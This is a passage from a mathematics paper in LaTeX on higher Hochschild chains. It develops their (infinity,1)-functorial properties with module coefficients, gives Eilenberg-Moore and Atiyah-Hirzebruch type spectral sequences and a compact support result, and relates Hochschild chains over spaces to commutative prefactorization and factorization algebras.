Since the simplicial module $n\mapsto CH_{X_n}^{\com}(k)$ is isomorphic to the constant simplicial $k$-algebra $n\mapsto k$, the result also follows for empty colimits.
\end{proof}
\begin{example}\label{EX:A-pushout}
By Corollary~\ref{C:hocolim},
given two maps $f:R\to A$ and $g:R\to B$ of CDGAs, there is a natural equivalence (in $\hcdga$) $$CH_{X_\com}^\com\Big(A\mathop{\otimes}^{\mathbb{L}}_{R} B\Big)\; \cong \; CH_{X_\com}^{\com}(A) \mathop{\otimes}^{\mathbb{L}}_{CH_{X_\com}^{\com}(R)}CH_{X_\com}^{\com}(B).$$
\end{example}
\subsection{Pointed simplicial sets and modules}·\label{SS:modules}
In this section we quickly explain how to add an $A$-module $M$ to the story developed in Section~\ref{S:inftyfunctor}.
Let $A$ be a CDGA and recall from Example~\ref{E:Amod} the $(\infty,1)$-category $A\textit{-}Mod_\infty$ induced by the (model category) $A\textit{-}Mod$ of $A$-modules. Similarly, the model category of pointed simplicial sets yields the $(\infty,1)$-category ${\hsset}_*$ of pointed simplicial sets (Example~\ref{E:hsset}).
Since the inclusion $pt_\com \to X_\com$ is always a cofibration, the canonical equivalence $CH_{X_\com}^{\com}(A,M) \cong M\otimes_{A} CH_{X_\com}^{\com}(A)$ given by Proposition~\ref{P:pushout} implies that
\begin{equation}
\label{eq:Mderivedtensor} CH_{X_\com}^{\com}(A,M) \;\cong \;M\mathop{\otimes}^{\mathbb{L}}_{A} CH_{X_\com}^{\com}(A) \;\cong \; M\!\!\mathop{\otimes}^{\mathbb{L}}_{CH_{pt_\com}^{\com}(A)} CH_{X_\com}^{\com}(A).
\end{equation}
naturally in $A\textit{-}Mod_\infty$ and $CH_{X_\com}^{\com}(A)\textit{-}Mod_\infty$.
\smallskip
Proposition~\ref{P:tensor}, Proposition~\ref{P:pushout}, Proposition~\ref{P:product}, Theorem~\ref{T:derivedfunctor} and its proof imply
\begin{theorem}\label{T:Mderivedfunctor}
The Hochschild chain lifts as a bifunctor of $(\infty,1)$-categories $CH_{(-)}(A,-): {\hsset}_* \times A\textit{-}Mod_\infty \to A\textit{-}Mod_\infty$ which satisfies the following axioms
\begin{enumerate}
\item {\bf value on a point:} {there is a natural equivalence} $CH_{pt_\com}^\bullet(A,M)\cong M$ in $A\textit{-}Mod_\infty$.
\item {\bf action of $CH$:} $CH^\com_{X_\com}(A,M)$ is naturally a $CH^\com_{X_\com}(A)$-module, \emph{i.e.}, the Hochschild chain lifts as an $(\infty,1)$-functor $CH_{X_\com}^{\com}(A,-):A\textit{-}Mod_\infty \to CH_{X_\com}^{\com}(A)\textit{-}Mod_\infty$.
\item {\bf bimonoidal:} there is an natural equivalence
$$CH_{X_\com\coprod Y_\com}^{\com}(A,M)\cong CH_{X_\com}^{\com}(A,M) \otimes CH_{Y_\com}^{\com}(A)$$ in $A\textit{-}Mod_\infty$ as well as in $CH_{X_\com\coprod Y_\com}^{\com}(A)\textit{-}Mod_\infty$, for any pointed simplicial set $X_\com$ and simplicial set $Y_\com$. For $M\in A\textit{-}Mod_\infty$ and $N\in B\textit{-}Mod_\infty$, there is an natural equivalence
$$CH_{X_\com}^\com (A\otimes B, M\otimes N)\cong CH_{X_\com}^{\com}(A,M) \otimes CH_{X_\com}^{\com}(B,N)$$ in $A\otimes B\textit{-}Mod_\infty$ and $CH_{X_\com}^{\com}(A\otimes B)\textit{-}Mod_\infty$.
\item {\bf locality:} let $f:Z_\com\to X_\com$ and $g:Z_\com\to Y_\com$ be maps in $\hsset*$. There is an natural equivalence
$$CH^{\com}_{X_\com \bigcup^{h}_{Z_\com} Y_\com }(A,M\otimes^{\mathbb{L}}_{A} N)\cong CH^{\com}_{X_\com}(A,M)\otimes_{CH^{\com}_{Z_\com}(A)}^{\mathbb{L}} CH^{\com}_{Y_\com}(A,N)$$ in $A\textit{-}Mod_\infty$ and $CH_{X_\com \bigcup^{h}_{Z_\com} Y_\com }^{\com}(A)\textit{-}Mod_\infty$. If $N=A$, then only $X_\com$ needs to be pointed and the maps may be in $\hsset$.
\item {\bf product:} {Let $X_\com$, $Y_\com$ be pointed simplicial sets.} There is an natural equivalence
$$CH_{X_\com\times Y_\com}^{\com}(A,M) \stackrel{\sim}\to CH_{X_\com}^\com\left( CH_{Y_\com}^{\com}(A), CH_{Y_\com}^{\com}(A,M))\right)$$ in $A\textit{-}Mod_\infty$ and $CH_{X_\com\times Y_\com}^{\com}(A)\textit{-}Mod_\infty$.
\end{enumerate}
\end{theorem}
{Note that from the point Axiom~{\bf (1)} and the locality Axiom~{\bf (4)} applied to the canonical maps $pt_\com \to pt_\com$ and $pt_\com \to X_\com$ (given by the base point of $X_\com$) follows immediately the equivalence~\eqref{eq:Mderivedtensor} above.
This property actually implies that Axioms~{\bf (1)}, {\bf (2)} and {\bf (4)} characterize $CH_{(-)}(A,-)$:}
\begin{proposition}\label{P:Mderiveduniqueness}
Let $G: A\textit{-}Mod_\infty \to A\textit{-}Mod_\infty$ be an $(\infty,1)$-functor and let $\mathcal{M}:{\hsset}_* \times A\textit{-}Mod_\infty \to A\textit{-}Mod_\infty$ be any $(\infty,1)$-bifunctor which satisfies the following axioms
\begin{description}
\item[i)] {\bf value on a point:} {there is a natural equivalence} $\mathcal{M}(pt_\com,M) \cong G(M)$ naturally in $A\textit{-}Mod_\infty$.
\item[ii)] {\bf action of $CH$:} $\mathcal{M}(X_\com,M)$ is naturally a $CH_{X_\com}(A)$-module.
\item[iii)] {\bf locality:} {Given maps $f:Z_\com\to X_\com$ and $g:Z_\com\to Y_\com$ with $X_\com$ a pointed simplicial set,} There is a natural equivalence ( in $A\textit{-}Mod_\infty$)
$$\mathcal{M}(X_\com \cup_{Z_\com}^h Y_\com,M)\cong \mathcal{M}(X_\com,M)\otimes_{CH^{\com}_{Z_\com}(A)}^{\mathbb{L}} CH^{\com}_{Y_\com}(A)$$
\end{description}
Then $\mathcal{M}$ is naturally equivalent to $CH_{(-)}(A,G(-))$ as an $(\infty,1)$-bifunctor.
\end{proposition}
Note that Axiom~{\bf ii)} is needed to make sense of Axiom~{\bf iii)}.
\begin{proof}
Let $Y_\com$ be in ${\sset}_*$ and $g:pt_\com\to Y_\com$ be the structure map. The locality axiom for the pushout $pt_\com \leftarrow pt_\com \stackrel{g}\to Y_\com $ (where we take $X_\com=pt_\com$) gives natural equivalences
$$\mathcal{M}(X_\com,M) \;\cong \;\mathcal{M}(pt_\com,M) \! \mathop{\otimes}^{\mathbb{L}}_{CH_{pt_\com}^{\com}(A)} \! CH_{X_\com}^{\com}(A)\;\cong \;G(M) \! \mathop{\otimes}^{\mathbb{L}}_{CH_{pt_\com}^{\com}(A)} \! CH_{X_\com}^{\com}(A) $$ where the last equivalence follows from Axiom~{\bf i)}. {The result now follows from the natural equivalences~\eqref{eq:Mderivedtensor}.}
\end{proof}
One can specialize the locality Axiom~{\bf (4)} in Theorem~\ref{T:Mderivedfunctor} a bit more by considering a pointed simplicial set $Z_\com$ and pointed maps $f:Z_\com\to X_\com$ and $g:Z_\com\to Y_\com$. In that case, $CH_{X_\com}^{\com}(A,M)$ and $CH_{Y_\com}(A,N)$ inherit natural $CH_{Z_\com}^{\com}(A)$-modules structures (induced by $f$ and $g$). Then
Theorem~\ref{T:Mderivedfunctor} yields a relative version of the Eilenberg-Moore spectral sequence.
\begin{corollary} \label{C:MlocalitySpecSeq}Let $W_\com \cong X_\com \cup_{Z_\com}^h Y_\com$ be a homotopy pushout,
there is an natural equivalence $$CH_{X_\com \cup_{Z_\com}^h Y_\com}^\com\Big(A, M\mathop{\otimes}^{\mathbb{L}}_A N\Big) \;\cong \; CH^{\com}_{X_\com}(A,M)\mathop{\otimes}_{CH^{\com}_{Z_\com}(A)}^{\mathbb{L}} CH^{\com}_{Y_\com}(A,N)$$ in $A\textit{-}Mod_\infty$ and $CH_{X_\com \cup_{Z_\com}^h Y_\com}^{\com}(A)\textit{-}Mod_\infty$.
In particular there is a natural strongly convergent spectral sequence of cohomological type of the form
$$E_2^{p,q}:= {Tor}_{p,q}^{HH_{Z_\com}^{\com}(A)}\left(HH_{X_\com}^{\com}(A,M),HH_{Y_\com}^{\com}(A,N)\right) \Longrightarrow HH_{W_\com}^{p+q}\Big(A, M\mathop{\otimes}_A^{\mathbb{L}} N\Big) $$ where $q$ is the \emph{internal} grading. The spectral sequence is furthermore a spectral sequence of differential $HH_{Z_\com}^{\com}(A)$-modules.
\end{corollary}
Recall that we are considering a cohomological grading; thus the spectral sequence lies in the left half-plane with respect to this grading (and $p$ is negative).
\begin{proof}
Let $\widehat{M}\to M$ be a cofibrant replacement of $M$ in $A\textit{-}Mod$, $\widehat{X}_\com\to X_\com$ a fibrant replacement of $X_\com$ and $\widehat{f}:Z_\com\to \widehat{X}_\com$ be a cofibration lifting $f$. By Theorem~\ref{T:Mderivedfunctor}, we have $CH_{W_\com}\Big(A,M\mathop{\otimes}^{\mathbb{L}}_A N\Big)\cong CH_{W_\com}\Big(A,\widehat{M}\otimes_A N\Big)$ (in $CH_{W_\com}(A)\text{-}Mod$) and $$CH_{X_\com}^{\com}(A,M)\cong CH_{\widehat{X}_\com}^{\com}(A,\widehat{M})\cong \widehat{M}\otimes_A CH_{\widehat{X}_\com}^{\com}(A).$$ Since $\widehat{f}:Z_\com\to \widehat{X}_\com$ is a degree wise injection, it suffices to prove that $$CH_{\widehat{X}_\com}^{\com}(A)\mathop{\otimes}_{CH_{Z_\com}^{\com}(A)} CH_{Y_\com}(A,N) \cong CH_{\widehat{X}_\com\cup_{Z_\com} Y_\com}^{\com}(A,N)$$ as a $CH_{\widehat{X}_\com\cup_{Z_\com} Y_\com}^{\com}(A)\cong CH_{\widehat{X}_\com}^{\com}(A)\mathop{\otimes}_{CH_{Z_\com}^{\com}(A)} CH_{Y_\com}(A)$-module which is Proposition~\ref{P:pushout}.
Now the spectral sequence is obtained as in the proof of Corollary~\ref{C:HlocalitySpecSeq} (using Theorem~\ref{T:Mderivedfunctor} instead of Theorem~\ref{T:derivedfunctor}).
\end{proof}
\begin{example}
If $X_\com$, $Y_\com$ and $Z_\com$ are contractible, the spectral sequence in Corollary~\ref{C:MlocalitySpecSeq} boils down to the usual Eilenberg-Moore spectral sequence $${Tor}_{p,q}^{H^\com(A)}\Big(H^\com(M), H^{\com}(N)\Big)\Longrightarrow H^{p+q}\Big(M\otimes_A^{\mathbb{L}} N\Big)$$ of differential $H^\com(A)$-modules (see~\cite{KM}).
\end{example}
\begin{remark}\label{R:2othersSpecSeq}
Besides the Eilenberg Moore spectral sequence~\ref{C:MlocalitySpecSeq}, there is also an Atiyah-Hirzebruch kind of spectral sequence for higher Hochschild chains: the skeletal filtration of a simplicial set $X_\com$ induces a decreasing filtration $ \cdots \supset F^{p} \cdots \supset F^{-1} \supset F^{0} \supset \{0\} $ of $CH_{X_\com}^{\com}(A,M)$, where $F^{p}:=\bigoplus_{n\leq -p} CH_{X_n}^{\com}(A,M)$.
This filtration yields a left half-plane spectral sequence of cohomological type with exiting differential and further, the cohomology of the associated graded $\bigoplus_{p} F^p/F^{p+1}$ is the Hochschild chain complex over $X_\com$ of the CGA $H^\com(A)$ with value in $H^\com(M)$. Hence we get from~\cite{Bo}:
\begin{proposition}\label{P:AHSpecSeq}
There is a strongly convergent spectral sequence of cohomological type
$$ E^2_{p,q}:= HH_{X_\com}^{p+q}(H^\com(A),H^\com(M))^q \Longrightarrow HH_{X_\com}^{p+q}(A,M)$$ where $q$ is the internal degree. If $M=A$, this is a spectral sequence of CDGAs.
\end{proposition}
For the sake of completeness, we also mention that there is another spectral sequence to compute higher Hochschild due to Pirashvili which is the Grothendieck spectral sequence associated to the composition of functors $X_\com\mapsto k_{X_\com}\mapsto k_{X_\com}\otimes_{\Gamma}^{\mathbb{L}}\mathcal{L}(A)$ that was defined in Proposition~\ref{P:homologyinvariance}. See~\cite[Theorem 2.4]{P} for details.
\end{remark}
\section{Factorization algebras and derived Hochschild functor over spaces}\label{S:factor-alg}
The main goal of this section is to prove that Hochschild chains are a special kind of \emph{factorization algebras} in the sense of~\cite{CG} (allowing to compute it using covers or CW-decomposition).
\subsection{The Hochschild $(\infty,1)$-functor in $\Top$}
The Quillen equivalence between the model categories of simplicial sets and topological spaces induces an equivalence $\hTop \stackrel{S_\infty}\longrightarrow \hsset$ of $(\infty,1)$-categories (Example~\ref{E:hsset}). Here $S_\infty$ is the $(\infty,1)$-functor lifting the singular set functor $X\mapsto S_\com(X)=\mathop{Map}(\Delta^\bullet, X)$. Recall that to any space $X$ we naturally associate the CDGA $CH^\com_X(A) = CH^\com_{S_\bullet(X)}(A)$, the Hochschild chains of $A$ over $X$. The canonical adjunction map $X_\com\to S_\com(|X_\com|)$ yields a natural quasi-isomorphism $CH_{X_\com}^{\com}(A)\to CH_{|X_\com|}^{\com}(A)$ of CDGAs by Proposition~\ref{P:homologyinvariance}.
From the above equivalence $\hTop \stackrel{\sim}\longrightarrow \hsset$ (or alternatively by changing $\hsset$ to $\hTop$ in all the proofs in Section~\ref{S:inftyfunctor} and~\ref{SS:modules}), we deduce the following topological counterpart to the results of Section~\ref{S:inftyfunctor} and Section~\ref{SS:modules}.
\begin{proposition}\label{P:Topderived}\begin{itemize}
\item[i)] The Hochschild chain over spaces functor $(X,A)\mapsto CH_X^\com(A)$ lifts as an $(\infty,1)$-bifunctor $CH: \hTop\times \hcdga\to \hcdga$ fitting into the commutative diagram
$${\small \xymatrix{ \hsset \times \hcdga \ar[rr]^{CH} & & \hcdga \\
\hTop\times \hcdga \ar[u]^{S_\infty}_{\simeq} \ar[rru]_{CH} && }} $$ that satisfies all the axioms of Theorem~\ref{T:derivedfunctor} (with $\hTop$ instead of $\hsset$).
\item[ii)]
Further, up to natural equivalences of $(\infty,1)$-bifunctors, it is the only bifunctor $\hTop\times \hcdga\to \hcdga$ satisfying the axioms of Theorem~\ref{T:deriveduniqueness} (with $\hTop$ instead of $\hsset$).
\item[iii)] Replacing $\hsset$ by $\hTop$ and ${\hsset}_*$ by ${\hTop}_*$, the analogs of Corollary~\ref{C:HlocalitySpecSeq}, Proposition~\ref{P:product}, Corollary~\ref{C:hocolim}, Theorem~\ref{T:Mderivedfunctor} and Corollary~\ref{C:MlocalitySpecSeq} hold.
\end{itemize}
\end{proposition}
The fact that Hochschild chains are computed by taking colimits over finite simplicial sets has the following translation for topological spaces.
\begin{proposition}[Compact support] Let $X$ be (weakly homotopic to) a $CW$-complex, $A$ a CDGA and $M$ an $A$-module. There are natural equivalences
$$\colim_{ \scriptsize \begin{array}{l} K\to X\\ K\mbox{ compact}\end{array}}\!\! \!\!\!\!\! \Big(CH_{K}^{\com}(A) \Big)\stackrel{\simeq} \longrightarrow CH_{X}^{\com}(A) \;\; \text{ and } \;\colim_{ \scriptsize \begin{array}{l} K\to X\\ K\mbox{ compact}\end{array}}\!\!\!\!\!\!\! \Big( CH_{K}^{\com}(A,M) \Big)\stackrel{\simeq} \longrightarrow CH_{X}^{\com}(A,M)$$ in $\hcdga$ and $CH_{X}^{\com}(A)\textit{-}Mod_\infty$ respectively.
\end{proposition}
\begin{proof} Since $CH_{X}^{\com}(A,M)\cong M\mathop{\otimes}^{\mathop{L}}_{A} CH_{X}^{\com}(A)$ in $CH_{X}^{\com}(A)\textit{-}Mod_\infty$, we only need to prove that the first map is an equivalence.
We first assume $X$ to be a $CW$-complex of finite dimension $n$. Let $X_\bullet$ be a simplicial set model of $X$ with no non-degenerate simplices in dimension $m>n$. Then, given a finite simplicial set $K_\com$, any map $f: K_\bullet \to X_\bullet$ factors through a finite simplicial set $\tilde{K}_\bullet$ with no non-degenerate simplices in dimension $m>n$. Thus, the realization $|\tilde{K}_\bullet|$ is compact.
Conversely, if $\tilde{K}$ is a compact subset of the $CW$-complex $X$, it has a simplicial model $K_\bullet$ with finitely many non-degenerate simplices. Further, any map $K\to X$ has a compact image, since $X$ is Hausdorff, and thus factors through a compact subset of $X$. We get a zigzag
\begin{multline*}
\colim_{ \scriptsize \begin{array}{l} K\to X \\ K\mbox{ compact}\end{array}} CH^\com_{K}(A) \stackrel{\simeq}\longleftarrow \colim_{ \scriptsize \begin{array}{l} \tilde{K}\subset X \\ \tilde{K}\mbox{ compact}\end{array}} CH^\com_{\tilde{K}} (A) \stackrel{\simeq}\longrightarrow \colim_{ \scriptsize \tilde{K}_\bullet \in \mbox{ FNDS}(X_\bullet) } CH^\com_{\tilde{K}_\bullet}(A) \\
\stackrel{\simeq}\longrightarrow \colim_{ \scriptsize \begin{array}{l} K\bullet \to X_\bullet \\ {K}_\bullet \mbox{ finite} \end{array} } CH^\com_{{K}_\bullet}(A)
\stackrel{\simeq}\longrightarrow CH^\com_{X_\bullet}(A) \stackrel{\simeq}\longrightarrow CH^\com_{X}(A)
\end{multline*}
where the first and third arrows are equivalences since they are induced by cofinal functors.
Here $FNDS(X_\bullet)$ is the set of simplicial subsets of $X_\bullet$ with finitely many non-degenerate simplices. That the other arrows in the zigzag are equivalences follows from Proposition~\ref{P:Topderived} and thus the result is proved for finite dimensional $CW$-complexes.
We now reduce the general case to the finite dimensional one. Let $X_\com$ be a simplicial set model of $X$. The geometric realization $|sk_n X_\com|$ of $sk_nX_\com$ is a finite dimensional $CW$-complex, and, if $K$ is compact, any map $f: K\to X$ factors as the composition $K\to |sk_n X_\com| \hookrightarrow X$ for some $n$. Hence the natural map
$$\colim_{n} \Big(\colim_{ \scriptsize \begin{array}{l} \tilde{K}\to |sk_n X_\com| \\ \tilde{K}\mbox{ compact}\end{array}} CH^\com_{K}(A)\Big) \quad\longrightarrow \quad \colim_{ \scriptsize \begin{array}{l} K\to X \\ K\mbox{ compact}\end{array}} CH^\com_{K}(A) $$ is a natural equivalence in $\hcdga$. The result now follows from the finite dimensional case, the natural equivalence $\colim_{n} CH_{sk_n X_\com}^{\com}(A) \; \stackrel{\sim} \to CH_{X_\com}^{\com}(A)$ (see Remark~\ref{R:limskn}), and Proposition~\ref{P:Topderived}.i).
\end{proof}
{Specifying Corollary~\ref{C:hocolim} to the case of topological spaces that are obtained by attaching cells, we get the following lemma.}
\begin{lemma}\label{L:CHhandling}
Let $X_0$ be (weakly homotopic to) a $CW$-complex and $X$ be (weakly homotopic to) a $CW$-complex obtained from $X_0$ by attaching a countable family $ (C_n)_{n\in \N}$ of cells. We let $X_n$ be the result of attaching the first $n$ cells. For any CDGA $A$, one has a natural equivalence
$$\colim_{n\in \N} CH_{X_n}^{\com}(A) \stackrel{\simeq}\longrightarrow CH_{X}^{\com}(A) $$ in $\hcdga$, as well as $\colim_{n\in \N} CH_{X_n}^{\com}(A,M) \stackrel{\simeq}\longrightarrow CH_{X}^{\com}(A) $ in $CH_{X}^{\com}(A)\textit{-}Mod_\infty$.
\end{lemma}
\begin{proof} Since $CH_{X}^{\com}(A,M)\cong M\mathop{\otimes}^{\mathop{L}}_{A} CH_{X}^{\com}(A)$ as $CH_{X}^{\com}(A)$-modules, we only need to consider the case of $CH_{X}^{\com}(A)$.
Further, the cells $C_i$ are homeomorphic to euclidean balls and the attaching maps have domain given by their boundaries. Thus we may assume that each $X_n$ is obtained from a simplicial set model $(X_0)_\bullet$ of $X_0$ by adding finitely many non-degenerates simplices. Thus we get a sequence of cofibrations of simplicial sets (\emph{i.e.} degree wise injective maps)
$(X_0)_\bullet \hookrightarrow (X_1)_\bullet \cdots \hookrightarrow (X_n)_\bullet \cdots \hookrightarrow X_\bullet=\colim_{n\in \N} (X_n)_\bullet$ which are (homotopy) models for the sequence of maps $X_0\to X_1\to \cdots \to X$. By definition of Hochschild chains, there is a canonical equivalence
$ \colim_{\scriptsize \begin{array}{l} K_\bullet\to X_\bullet\\
K_\bullet\mbox{ finite}\end{array}} \!\!CH_{K_\bullet}^{\com}(A) \cong CH_{X_\bullet}^{\com}(A)$ of CDGAs. The maps $(X_n)_\bullet \to X_\bullet$ assemble to give a map of colimits
\begin{equation}\label{eq:CHhandling}
\colim_{n\in \N} \Big( \colim_{\scriptsize \begin{array}{l} K_\bullet\to (X_n)_\bullet\\
K_\bullet\mbox{ finite}\end{array}} \!\!CH_{K_\bullet}^{\com}(A)\Big) \longrightarrow \colim_{\scriptsize \begin{array}{l} K_\bullet\to X_\bullet\\
K_\bullet\mbox{ finite}\end{array}} \!\!CH_{K_\bullet}^{\com}(A) .
\end{equation}
Given a finite set $K_i$ and a map $f_i: K_i\to X_i$, the image $f_i(K_i)$ lies in some $(X_n)_i$ since $X_\bullet=\colim_{n\in \N} (X_n)_\bullet$ and $f_i(K_i)$ is finite. This proves that the family $K_\bullet \to (X_n)_\bullet$ of maps from a pointed set into some $(X_n)_\bullet$ is cofinal and thus the map~\eqref{eq:CHhandling} is an equivalence in $\hcdga$.
\end{proof}
\begin{remark} It is possible to enhance the result of Lemma~\ref{L:CHhandling} in the following way. One can take any space $X_\emptyset$ and a space $X$ obtained by attaching a family $(C_i)_{i\in I}$ of other spaces to it. Then, essentially the same argument as the one in Lemma~\ref{L:CHhandling} shows that $CH^\com_{X}(A)$ is the colimit $\colim CH^\com_{X_F}(A)$ over all possible subspaces $X_F\subset X$ obtained by attaching finitely many $C_i$'s.
\end{remark}
\smallskip
Let us conclude this section by giving an analog of Leray acyclic cover theorem/Mayer Vietoris principle for Hochschild chains.
Let $X$ be a topological space and $\mathcal{U} =(U_i)_{i\in I}$ be a \emph{good cover} for $X$, \emph{i.e.} a cover such that the $U_i$ and all of their nonempty finite intersections are contractible. We denote $N_\com(I)$ the nerve of the cover, that is $N_0(I)=I$, $N_1(I)$ is the set of pairs of indices $i_0,i_1$ such that $U_{i_0}\cap U_{i_1} \neq \emptyset$ and so on.
\begin{corollary} Let $X$ be a topological space and $\mathcal{U} =(U_i)_{i\in I}$ be a \emph{good cover} for $X$ such that the inclusions $U_i\cap U_j \to U_i$ are cofibrations. Then there is a natural equivalence
$$ CH^\com_{X}(A)\stackrel{\simeq}\longrightarrow A^{\otimes I} \mathop{\otimes}\limits_{A^{\otimes N_1(I)}}^{\mathbb{L}} A^{\otimes I}$$ in $\hcdga$. Here the left and right module structure are induced by the two canonical projections $N_1(I)\to N_0(I)=I$ given by $ (i,j)\mapsto i$, $(i,j)\mapsto j$.
\end{corollary}
\begin{proof}
Since each $U_i$ is contractible, the natural map $CH_{U_i}^{\com}(A) \to CH_{pt}^{\com}(A)\cong A$ is an equivalence by Theorem~\ref{T:derivedfunctor} and similarly (when $U_i\cap U_j$ is not empty) for the natural map $CH_{U_i\cap U_j}^{\com}(A)\to A$ because $\mathcal{U}$ is a good cover. Since $X$ is the coequalizer $\coprod_{N_1(I)} U_i\cap U_j \rightrightarrows \coprod_{I} U_i \rightarrow X$, the result follows from the coproduct axiom (2) and the gluing axiom (3) in Theorem~\ref{T:derivedfunctor} (or Proposition~\ref{P:Topderived}).
\end{proof}
\subsection{(Pre)Factorization algebras}\label{S:Factorization}
We now explain a relationship between factorization algebras (as defined by Costello and Gwilliam~\cite{CG,Co}) and Higher Hochschild chains.
Let $A$ be a CDGA and $X$ be a topological space. We denote $Op(X)$ the set of open subsets of $X$. For every open subset $V$ of $X$ and a family of disjoint open subsets $U_1,\dots, U_n \subset V$, there is a canonical morphism of CDGAs
$$\mu_{U_1,\dots, U_n,V}: CH_{U_1}^{\com}(A) \otimes \cdots \otimes CH_{U_n}^{\com}(A) \to \big(CH_{V}^{\com}(A)\big)^{\otimes n} \to CH_{V}^{\com}(A) $$ induced by functoriality by the inclusions $U_i \hookrightarrow V$ and the multiplication in $CH_{V}^{\com}(A)$.
\smallskip
These maps are the structure maps of a prefactorization algebra on $X$ in the sense of~\cite{CG,Co}. Note that for a (possibly $(\infty,1)$-) symmetric monoidal category $(\mathcal{C},\otimes)$, we denote by $\mathop{PFac}_{X}(\mathcal{C})$ the ($(\infty,1)$-) category of \textbf{prefactorization algebras on $X$ taking values in $\mathcal{C}$} (see~\cite{CG}). In particular, $\mathop{PFac}_{X}(\cdga)$ is the category of \emph{commutative} prefactorization algebras on $X$ as defined in~\cite{CG}. We will actually be only interested in the case where $\mathcal{C}$ is an ($(\infty,1)$-)category of algebras over an ($\infty$)-Hopf operad. We have:
\begin{lemma}\label{P:prefactorization} The rule $U\mapsto CH_U^\com(A)$ together with the maps $\mu_{U_1,\dots, U_n,V}$ define a natural structure of a \emph{prefactorization algebra} on $X$. Further
\begin{enumerate}
\item The above rule $A\mapsto \Big( \big(CH_{(U)}^{\com}(A)\big)_{ U\in Op(X)}; \, \big(\mu_{U_1,\dots,U_n,V}\big)\Big)$ defines a functor $\mathcal{CH}_X: \cdga \to \mathop{PFac}_{X}(\cdga)$.
\item $\mathcal{CH}_X$ lifts as an $(\infty,1)$-functor $\mathcal{CH}_X:\hcdga \to \mathop{PFac}_{X}(\hcdga)$.
\end{enumerate}
\end{lemma}
\begin{proof}
First we note that $CH^\com_\emptyset (A)\cong k$ and that the maps $\mu_{U_1,\dots, U_n,V}$ are CDGAs morphisms. Further, if $V_1,\dots, V_l$ is a collection of pairwise disjoint open subsets of $V\in Op(X)$ and $U_1,\dots, U_n$ is another family of pairwise disjoint open subsets of $V$ such that each $U_i$ is contained in some $V_j$, we can form the diagram
\begin{equation*}
\xymatrix{ \bigotimes_{j=1}^l \left(\bigotimes_{U_i \subset V_j} CH_{U_i}^{\com}(A)\right) \ar[rr]^{\quad \qquad \mu_{U_1,\dots, U_n, V}} \ar[d]_{ \bigotimes_{j=1}^l\Big(\mu_{(U_i\subset V_j), V_j}\Big)} && CH_{V}^{\com}(A)\\
\bigotimes_{j=1}^l \big( CH_{V_j}^{\com}(A)\big) \ar[urr]_{\quad \mu_{V_1,\dots, V_j,V}} && }
\end{equation*}
which is commutative by functoriality of Hochschild chains. This proves that the rule $U\mapsto CH_U^\com(A)$ is a prefactorization algebra with value in the category $\cdga$. The naturality follows from the naturality of Hochschild chains in the algebra variable and the lift to the $(\infty,1)$-framework follows from (the proof of) Proposition~\ref{P:Topderived} and Theorem~\ref{T:derivedfunctor}.
\end{proof}
In particular, the prefactorization algebra $U\mapsto CH_{U}^{\com}(A)$ is a \emph{commutative} prefactorization algebra.
\smallskip
Following the terminology of~\cite{CG,Co}, we said that an open cover $\mathcal{U}$ of $U\in Op(X)$ is \textbf{factorizing} if, for all finite collections $x_1,\dots, x_n$ of distincts points in $U$, there are \emph{pairwise disjoint} open subsets $U_1,\dots, U_k$ in $\mathcal{U}$ such that $\{x_1,\dots, x_n\} \subset \bigcup_{i=1}^k U_i$. To define a factorization algebra, we need to introduce the \v{C}ech complex of a prefactorization algebra $\mathcal{F}$.
Let $\mathcal{U}$ be a cover and denote $P\mathcal{U}$ the set of finite pairwise disjoint open subsets $\{U_1,\dots,U_n \, ,\, U_i\in \mathcal{U}\}$. Now the \textbf{\v{C}ech complex $\check{C}(\mathcal{U},\mathcal{F})$} is the chain (bi-)complex
$$\check{C}(\mathcal{U},\mathcal{F})= \bigoplus_{P\mathcal{U}} \mathcal{F}(U_1) \otimes \cdots \otimes \mathcal{F}(U_n) \leftarrow \bigoplus_{P\mathcal{U} \times P\mathcal{U}} \mathcal{F}({U_1}\cap {V_1}) \otimes \cdots \otimes \mathcal{F}({U_n}\cap {V_m}) \leftarrow \cdots$$
where the horizontal arrows are induced by the alternate sum of the natural inclusions as for the usual \v{C}ech complex of a cosheaf (see~\cite{CG}). Let us introduce a convenient notation for the \v{C}ech complex: given $\alpha_1,\dots,\alpha_k \in P\mathcal{U}$, we denote $$\mathcal{F}(\alpha_1,\dots,\alpha_k) = \bigotimes_{U_{i_1}\in \alpha_1,\dots, U_{i_k}\in \alpha_k} \mathcal{F}(U_{i_1}\cap \cdots \cap U_{i_k}),.$$
The prefactorization algebra structure yields, for all $j=1,\dots, k$, natural maps $\mathcal{F}(\alpha_1,\dots,\alpha_k)\to \mathcal{F}(\alpha_1,\dots,\widehat{\alpha_j},\cdots,\alpha_k)$.
The \v{C}ech complex of $\mathcal{F}$ can be simply written as \begin{equation}\label{eq:Cechcomplex}\check{C}(\mathcal{U},\mathcal{F})=\bigoplus_{k>0} \bigoplus_{\alpha_1,\dots,\alpha_k \in P\mathcal{U}} \mathcal{F}(\alpha_1,\dots,\alpha_k) [k-1].\end{equation}
The prefactorization algebra structure also induce a canonical map $\check{C}(\mathcal{U},\mathcal{F})\to \mathcal{F}(U)$.
A prefactorization algebra $\mathcal{F}$ on $X$ (with value in $\cdga$ or $k\textit{-}Mod$) is said to be a \textbf{factorization algebra} if, for all open subset $U\in Op(X)$ and every factorizing cover $\mathcal{U}$ of $U$, the canonical map
$$\check{C}(\mathcal{U},\mathcal{F})\to \mathcal{F}(U)$$ is a quasi-isomorphism (see~\cite{Co,CG}).
When $\mathcal{F}$ is a commutative factorization algebra, the sequence $\bigoplus_{\alpha_1,\dots,\alpha_k \in P\mathcal{U}} \mathcal{F}(\alpha_1,\dots,\alpha_k) [k-1]$ is naturally a simplicial CDGA and thus the \v{C}ech complex $\check{C}(\mathcal{U},\mathcal{F})$ has a natural structure of CDGA.
\smallskip
Note that $X$ itself, is always a factorizing cover. A Hausdorff space usually admits many different factorizing covers. This is in particular true for manifolds. Indeed, choosing a Riemannian metric on a manifold $X$ yields a nice factorizing cover given by the set of geodesically convex neighborhoods of every point in $X$.
